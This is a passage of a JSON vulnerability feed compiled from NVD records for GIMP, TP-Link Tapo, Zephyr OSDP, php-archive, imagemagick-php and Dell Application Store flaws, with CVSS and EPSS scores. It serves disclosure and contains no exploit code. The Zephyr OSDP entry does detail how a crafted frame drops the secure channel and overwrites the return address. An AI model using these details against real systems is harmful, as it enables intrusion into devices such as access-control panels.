the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:06.217Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112360","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00484,"percentile":0.41401,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112360","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112360","type":"primary","publishedAt":"2026-10-19T22:17:06.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112261","cveId":"CVE-2026-112261","aliases":[],"kind":"vulnerability","title":"A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and...","summary":"A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and potentially arbitrary code execution.","detail":"A flaw was found in GIMP. Opening a crafted XCF that selects a path and then fails to load that path can cause a use-after-free in the main process, leading to a crash and potentially arbitrary code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:05.767Z","updatedAt":"2026-10-20T17:17:30.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112261","asOf":"2026-10-20T17:17:30.487Z"},"epss":{"probability":0.00167,"percentile":0.05894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112261","type":"primary","publishedAt":"2026-10-19T22:17:05.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112258","cveId":"CVE-2026-112258","aliases":[],"kind":"vulnerability","title":"A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property.","summary":"A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property. Opening a crafted XCF file can cause a use-after-free in the main GIMP process, leading to a crash and potentially arbitrary code execution.","detail":"A flaw was found in GIMP. The XCF loader can leave a dangling pointer in the linked-channels list when a linked channel is later destroyed via a selection property. Opening a crafted XCF file can cause a use-after-free in the main GIMP process, leading to a crash and potentially arbitrary code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:05.543Z","updatedAt":"2026-10-21T21:17:55.517Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112258","asOf":"2026-10-21T21:17:55.517Z"},"epss":{"probability":0.00167,"percentile":0.05894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112258&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112258","type":"primary","publishedAt":"2026-10-19T22:17:05.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112258&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112258, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112257","cveId":"CVE-2026-112257","aliases":[],"kind":"vulnerability","title":"A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB.","summary":"A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB. A crafted grayscale PSD thumbnail can cause a heap out-of-bounds read and write in the plug-in process, leading to a crash and potentially arbitrary code execution when the victim browses or opens the file.","detail":"A flaw was found in GIMP. The PSD thumbnail resource loader performs a BGR-to-RGB channel swap with a fixed 3-byte stride and does not verify that the JPEG thumbnail is RGB. A crafted grayscale PSD thumbnail can cause a heap out-of-bounds read and write in the plug-in process, leading to a crash and potentially arbitrary code execution when the victim browses or opens the file.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:05.420Z","updatedAt":"2026-10-20T15:17:13.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112257","asOf":"2026-10-20T15:17:13.717Z"},"epss":{"probability":0.00167,"percentile":0.05918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112257","type":"primary","publishedAt":"2026-10-19T22:17:05.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105815","cveId":"CVE-2026-105815","aliases":[],"kind":"vulnerability","title":"TP-Link Tapo\nC210 V3.60 may expose shared credential material and cryptographic metadata\nthrough unauthenticated DS JSON API requests. The exposed shared credential can\nbe...","summary":"TP-Link Tapo\nC210 V3.60 may expose shared credential material and cryptographic metadata\nthrough unauthenticated DS JSON API requests. The exposed shared credential can\nbe accepted by the Streamd Digest authentication mechanism as an administrative\npassword, allowing an unauthenticated adjacent-network attacker to establish\nencrypted media sessions without knowledge of the device account\npassword.  \n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may disclose credential and cryptographic material and allow\nunauthorized access to encrypted media sessions.","detail":"TP-Link Tapo\nC210 V3.60 may expose shared credential material and cryptographic metadata\nthrough unauthenticated DS JSON API requests. The exposed shared credential can\nbe accepted by the Streamd Digest authentication mechanism as an administrative\npassword, allowing an unauthenticated adjacent-network attacker to establish\nencrypted media sessions without knowledge of the device account\npassword.  \n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may disclose credential and cryptographic material and allow\nunauthorized access to encrypted media sessions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T22:17:03.153Z","updatedAt":"2026-10-20T20:17:12.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":["TP-Link"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105815","asOf":"2026-10-20T20:17:12.853Z"},"epss":{"probability":0.00238,"percentile":0.14764,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105815&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105815","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105815","type":"primary","publishedAt":"2026-10-19T22:17:03.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105815&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105815, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76788","cveId":"CVE-2026-76788","aliases":[],"kind":"vulnerability","title":"The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event.","summary":"The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event. For the REPLY_KEYPPAD and REPLY_RAW reply types, the payload length is taken from the received frame and the only validation performed is that the declared length is self-consistent with the number of payload bytes present in the frame. Because the attacker controls both the length field and the frame length, that check imposes no bound, and the subsequent memcpy() writes into the fixed 64-byte data arrays of struct osdp_event_keypress / struct osdp_event_cardread (OSDP_EVENT_MAX_DATALEN). The sibling REPLY_FMT handler in the same switch already carried the missing > OSDP_EVENT_MAX_DATALEN bound.\n\nThe defect is reached from cp_process_reply(), which reads bytes from the OSDP RS-485 channel and passes them through osdp_phy_check_packet() and osdp_phy_decode_packet() before dispatching on the reply ID. Triggering it requires CONFIG_OSDP with CONFIG_OSDP_MODE_CP and an application event callback registered (the normal Control Panel integration), plus a frame carrying a correct SOM, a valid CRC-16, and a matching 2-bit sequence number — all of which are computable or observable by anyone on the bus. No check ties the reply ID to the outstanding command, so an oversized REPLY_KEYPPAD or REPLY_RAW is accepted as the answer to a routine CMD_POLL. A malicious or compromised card reader, or anyone with access to the RS-485 wiring, can supply such a frame; CONFIG_OSDP_SC_ENABLED only helps while a secure channel is active, and a single unauthenticated frame carrying a bad MAC causes sc_deactivate(), after which plaintext replies are again accepted.\n\nWith the default CONFIG_OSDP_UART_BUFFER_LENGTH of 256, roughly 180 bytes of fully attacker-chosen data can be written past the end of the stack-allocated event object, over saved registers and the return address on typical Cortex-M and RISC-V frame layouts (Zephyr does not enable stack canaries by default). The impact ranges from a hard crash of the access-control panel to potential control-flow hijack in the context of the OSDP receive thread. The fix ad","detail":"The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event. For the REPLY_KEYPPAD and REPLY_RAW reply types, the payload length is taken from the received frame and the only validation performed is that the declared length is self-consistent with the number of payload bytes present in the frame. Because the attacker controls both the length field and the frame length, that check imposes no bound, and the subsequent memcpy() writes into the fixed 64-byte data arrays of struct osdp_event_keypress / struct osdp_event_cardread (OSDP_EVENT_MAX_DATALEN). The sibling REPLY_FMT handler in the same switch already carried the missing > OSDP_EVENT_MAX_DATALEN bound.\n\nThe defect is reached from cp_process_reply(), which reads bytes from the OSDP RS-485 channel and passes them through osdp_phy_check_packet() and osdp_phy_decode_packet() before dispatching on the reply ID. Triggering it requires CONFIG_OSDP with CONFIG_OSDP_MODE_CP and an application event callback registered (the normal Control Panel integration), plus a frame carrying a correct SOM, a valid CRC-16, and a matching 2-bit sequence number — all of which are computable or observable by anyone on the bus. No check ties the reply ID to the outstanding command, so an oversized REPLY_KEYPPAD or REPLY_RAW is accepted as the answer to a routine CMD_POLL. A malicious or compromised card reader, or anyone with access to the RS-485 wiring, can supply such a frame; CONFIG_OSDP_SC_ENABLED only helps while a secure channel is active, and a single unauthenticated frame carrying a bad MAC causes sc_deactivate(), after which plaintext replies are again accepted.\n\nWith the default CONFIG_OSDP_UART_BUFFER_LENGTH of 256, roughly 180 bytes of fully attacker-chosen data can be written past the end of the stack-allocated event object, over saved registers and the return address on typical Cortex-M and RISC-V frame layouts (Zephyr does not enable stack canaries by default). The impact ranges from a hard crash of the access-control panel to potential control-flow hijack in the context of the OSDP receive thread. The fix adds an OSDP_EVENT_MAX_DATALEN bound to both handlers, capping each memcpy() at the size of its destination.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T21:18:01.380Z","updatedAt":"2026-10-20T19:59:00.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-76788","asOf":"2026-10-20T19:59:00.607Z"},"epss":{"probability":0.00249,"percentile":0.16068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76788&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-76788","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76788","type":"primary","publishedAt":"2026-10-19T21:18:01.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76788&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76788, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112302","cveId":"CVE-2026-112302","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component...","summary":"A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component Extraction. This manipulation causes path traversal. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component Extraction. This manipulation causes path traversal. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T21:17:07.033Z","updatedAt":"2026-10-22T21:17:15.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112302","asOf":"2026-10-22T21:17:15.430Z"},"epss":{"probability":0.00499,"percentile":0.42472,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112302","type":"primary","publishedAt":"2026-10-19T21:17:07.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112301","cveId":"CVE-2026-112301","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php.","summary":"A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php. The manipulation of the argument fontFile results in os command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security flaw has been discovered in orbitale imagemagick-php up to 3.3.5. Affected by this issue is the function Command::font of the file src/Command.php. The manipulation of the argument fontFile results in os command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T21:17:06.863Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112301","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.02039,"percentile":0.80976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112301","type":"primary","publishedAt":"2026-10-19T21:17:06.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82166","cveId":"CVE-2026-82166","aliases":[],"kind":"vulnerability","title":"Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability.","summary":"Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to arbitrary code execution.","detail":"Dell Application Store, versions prior to 26.05.0.7, contain a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to arbitrary code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:20:06.313Z","updatedAt":"2026-10-19T22:17:28.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Dell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82166","asOf":"2026-10-19T22:17:28.407Z"},"epss":{"probability":0.00299,"percentile":0.22364,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82166&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82166","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82166","type":"primary","publishedAt":"2026-10-19T20:20:06.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82166&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82166, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71170","cveId":"CVE-2026-71170","aliases":[],"kind":"vulnerability","title":"Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability.","summary":"Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to an Elevation of Privilege and arbitrary code execution.","detail":"Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to an Elevation of Privilege and arbitrary code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T20:20:03.693Z","updatedAt":"2026-10-20T16:17:15.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Dell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71170","asOf":"2026-10-20T16:17:15.110Z"},"epss":{"probability":0.00149,"percentile":0.04057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71170&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71170","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71170","type":"primary","publishedAt":"2026-10-19T20:20:03.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-71170&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-71170, scored 2026-10-25. This is a model estimate, not proof of 